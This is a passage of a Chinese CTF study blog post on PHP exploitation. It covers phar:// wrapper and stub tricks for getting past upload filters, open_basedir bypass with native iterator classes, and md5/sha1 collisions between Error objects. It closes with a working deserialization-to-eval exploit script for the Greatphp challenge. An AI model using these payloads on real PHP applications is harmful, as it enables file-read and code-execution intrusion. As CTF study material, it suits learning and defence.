compress.bzip2://phar://相对路径或者绝对路径/a.phar/test.txt
compress.zlib://phar://相对路径或者绝对路径/a.phar/test.txt
php://filter/resource=phar://相对路径或者绝对路径/a.phar/test.txt
PHP://filter/read=convert.base64-encode/resource=phar://相对路径或者绝对路径/a.phar/test.txt

php伪协议这个还有很多方法的就不写了。


绕过__HALT_COMPILER();
我们知道这是设置stub,phar文件中必须有的,这时候有的就将这个过滤了。
但是我们可以将phar文件进行压缩,可以使用zip、gzip之类的都可以

这时候上传的时候可以直接上传,也是可以给压缩包更名字和后缀的,列如更改成1.gif

这时候phar://相对路径或者绝对路径/1.gif/a.phar/text.txt,这样也是可以的


上传绕过

我们要知道设置stub的时候可以在前面添加任何字符串,这时候我们可以在前面加上GIF89a,可以绕过一些上传。

$phar->setStub('GIF89a'.'<?php __HALT_COMPILER(); ? >');

7.原生类的一些绕过

绕过open_basedir


先了解什么是open_basedir:

open_basedir是php.ini 中的 一个配置选项。可以用作与 将用户访问文件的活动范围限制在指定的区域,例如我们设定了为/var/www/html,当我们要打开一个其他目录下面文件或者查看其他目录下面的文件的时候,那么这时候系统就会检测我们访问的这个文件是否属于设定的目录下面的文件,如果不是那么系统就会拒绝。


我们可以在使用DirectoryIterator类或者FilesystemIterator类的时候,可以配合glob协议来绕过open_basedir,但是GlobIterator类就不需要了。

注:代码上面有写

绕过md5和sha1强判断      参考了这个


当我们遇到这种需要,两个属性不相等,然后他们的md5值和sha1值要相等,就可以使用原生类Error或Exception。

<?php

//注意这两个要放在同一行
$a = new Error("payload",1);$b = new Error("payload",2);
$c = new Exception('payload',1);$d = new Exception('payload',2);
if($a!=$b){
    echo '$a和$b不相等'."\n";
}
if(md5($a)===md5($b)){
    echo '$a和$b的md5值相等'."\n";
}
if(sha1($a)===sha1($b)){
    echo '$a和$b的sha1值相等'."\n";
}
if($d!=$c){
    echo '$c和$d不相等'."\n";
}
if(md5($c)===md5($d)){
    echo '$c和$d的md5值相等'."\n";
}
if(sha1($c)===sha1($d)){
    echo '$a和$b的sha1值相等'."\n";
}
//回显
$a和$b不相等
$a和$b的md5值相等
$a和$b的sha1值相等

$c和$d不相等
$c和$d的md5值相等
$a和$b的sha1值相等

这里题目可以参考 [极客大挑战 2020]Greatphp

<?php
error_reporting(0);
class SYCLOVER {
    public $syc;
    public $lover;

    public function __wakeup(){
        if( ($this->syc != $this->lover) && (md5($this->syc) === md5($this->lover)) && (sha1($this->syc)=== sha1($this->lover)) ){
           if(!preg_match("/\<\?php|\(|\)|\"|\'/", $this->syc, $match)){
               eval($this->syc);
           } else {
               die("Try Hard !!");
           }
           
        }
    }
}

if (isset($_GET['great'])){
    unserialize($_GET['great']);
} else {
    highlight_file(__FILE__);
}

?>

这里分析属性syc和lover的值要不一样,但是md5的值要一样的,还有过滤,这里我们先看看过滤。

这里我们知道\<\?php其实匹配的是<?php,这里<?=并没有被过滤。

<?php
 
class SYCLOVER {
    public $syc;
    public $lover;
    public function __wakeup(){
        if( ($this->syc != $this->lover) && (md5($this->syc) === md5($this->lover)) && (sha1($this->syc)=== sha1($this->lover)) ){
           if(!preg_match("/\<\?php|\(|\)|\"|\'/", $this->syc, $match)){
               eval($this->syc);
           } else {
               die("Try Hard !!");
           }
 
        }
    }
}
$system="/flag";
$aa = "?><?=include~".urldecode(urlencode(~$system)).";?>";
//echo $str."\n";
$a=new Error($aa,1);$b=new Error($aa,2);
$c = new SYCLOVER();
$c->syc = $a;
$c->lover = $b;
echo urlencode(serialize($c));

这里其实我还是挺懵逼,/flag是怎么得到的,是我从wp里面看的,但是他们是怎么查看目录确实是没有人说,这里我尝试使用一些命令之类的,来获取根目录的内容,但是都是失败了,所以这个根目录下的flag到底是从哪里来的呢,不会出题人就是让你猜吧 ,感觉也有可能,因为名字就是flag,在根目录底下确实可以猜测一下。

  • 7
    点赞
  • 44
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 2
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

练习两年半的篮球选..哦不对安全选手

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值